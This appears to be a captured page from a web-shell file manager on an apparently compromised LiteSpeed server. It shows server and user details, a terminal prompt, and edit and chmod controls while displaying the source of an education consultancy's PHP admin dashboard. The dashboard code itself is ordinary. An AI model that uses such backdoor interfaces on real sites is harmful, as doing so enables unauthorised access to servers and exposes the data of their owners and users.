🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux s20058.bom1.stableserver.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
👤 User: skhata (1324)
🐘 PHP: 8.4.20
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/skhata/chandrasons.com/public
$

📄 index.php

📁 Path: //home/skhata/excellenteducation.com.np/admin/index.php
📊 Size: 4.19 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
require_once __DIR__ . '/../includes/auth.php';
require_login();

$pageTitle = 'Dashboard';

function count_rows(string $table, string $where = ''): int {
    $sql = "SELECT COUNT(*) FROM $table" . ($where ? " WHERE $where" : '');
    return (int) db()->query($sql)->fetchColumn();
}

$stats = [
    ['label' => 'Total Leads', 'value' => count_rows('leads'), 'icon' => 'fa-address-book', 'color' => 'red', 'href' => 'leads.php'],
    ['label' => 'New Leads (Uncontacted)', 'value' => count_rows('leads', "status = 'new'"), 'icon' => 'fa-bell', 'color' => 'gold', 'href' => 'leads.php'],
    ['label' => 'Countries', 'value' => count_rows('countries'), 'icon' => 'fa-earth-americas', 'color' => 'green', 'href' => 'countries.php'],
    ['label' => 'Test Prep Programs', 'value' => count_rows('test_preparations'), 'icon' => 'fa-book-open-reader', 'color' => 'red', 'href' => 'test_preparations.php'],
    ['label' => 'Blog Posts', 'value' => count_rows('blogs'), 'icon' => 'fa-newspaper', 'color' => 'green', 'href' => 'blogs.php'],
    ['label' => 'Gallery Items', 'value' => count_rows('gallery_items'), 'icon' => 'fa-image', 'color' => 'gold', 'href' => 'crud.php?module=gallery_items'],
    ['label' => 'Testimonials', 'value' => count_rows('testimonials'), 'icon' => 'fa-quote-left', 'color' => 'red', 'href' => 'crud.php?module=testimonials'],
    ['label' => 'Contact Messages', 'value' => count_rows('contact_messages'), 'icon' => 'fa-envelope', 'color' => 'green', 'href' => 'contact_messages.php'],
];

$recentLeads = db()->query('SELECT * FROM leads ORDER BY created_at DESC LIMIT 6')->fetchAll();

require __DIR__ . '/partials/header.php';
require __DIR__ . '/partials/sidebar.php';
require __DIR__ . '/partials/topbar.php';
?>

<div class="grid sm:grid-cols-2 lg:grid-cols-4 gap-5 mb-8">
  <?php foreach ($stats as $s): ?>
  <a href="<?= e($s['href']) ?>" class="bg-white rounded-2xl p-5 shadow-sm border-t-4 border-brand-<?= e($s['color']) ?> hover:-translate-y-1 transition">
    <div class="w-11 h-11 rounded-xl bg-brand-<?= e($s['color']) ?>/10 flex items-center justify-center text-brand-<?= e($s['color']) ?> text-lg mb-4">
      <i class="fa-solid <?= e($s['icon']) ?>"></i>
    </div>
    <p class="font-heading font-extrabold text-2xl leading-none mb-1"><?= (int) $s['value'] ?></p>
    <p class="text-xs text-gray-500"><?= e($s['label']) ?></p>
  </a>
  <?php endforeach; ?>
</div>

<div class="bg-white rounded-2xl shadow-sm p-6">
  <div class="flex items-center justify-between mb-5">
    <h2 class="font-heading font-bold text-lg">Recent Leads</h2>
    <a href="leads.php" class="text-brand-red text-sm font-semibold">View All <i class="fa-solid fa-arrow-right ml-1"></i></a>
  </div>
  <?php if (!$recentLeads): ?>
    <p class="text-gray-400 text-sm">No leads submitted yet. New form submissions from the public site will appear here.</p>
  <?php else: ?>
  <div class="overflow-x-auto">
    <table class="w-full text-sm">
      <thead><tr class="text-left text-gray-400 border-b"><th class="pb-3 pr-4">Name</th><th class="pb-3 pr-4">Contact</th><th class="pb-3 pr-4">Interested In</th><th class="pb-3 pr-4">Source</th><th class="pb-3 pr-4">Status</th><th class="pb-3">Date</th></tr></thead>
      <tbody>
        <?php foreach ($recentLeads as $lead): ?>
        <tr class="border-b last:border-0">
          <td class="py-3 pr-4 font-medium"><?= e($lead['name']) ?></td>
          <td class="py-3 pr-4 text-gray-500"><?= e($lead['phone']) ?><br><?= e($lead['email']) ?></td>
          <td class="py-3 pr-4 text-gray-500"><?= e($lead['interested_country']) ?> <?= $lead['interested_course'] ? '/ ' . e($lead['interested_course']) : '' ?></td>
          <td class="py-3 pr-4 text-gray-500"><?= e($lead['source_page']) ?></td>
          <td class="py-3 pr-4">
            <span class="px-2.5 py-1 rounded-full text-xs font-medium <?= $lead['status'] === 'new' ? 'bg-brand-gold/10 text-brand-gold' : 'bg-brand-green/10 text-brand-green' ?>"><?= e(ucfirst($lead['status'])) ?></span>
          </td>
          <td class="py-3 text-gray-400"><?= e(date('d M Y', strtotime($lead['created_at']))) ?></td>
        </tr>
        <?php endforeach; ?>
      </tbody>
    </table>
  </div>
  <?php endif; ?>
</div>

<?php require __DIR__ . '/partials/footer.php'; ?>
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨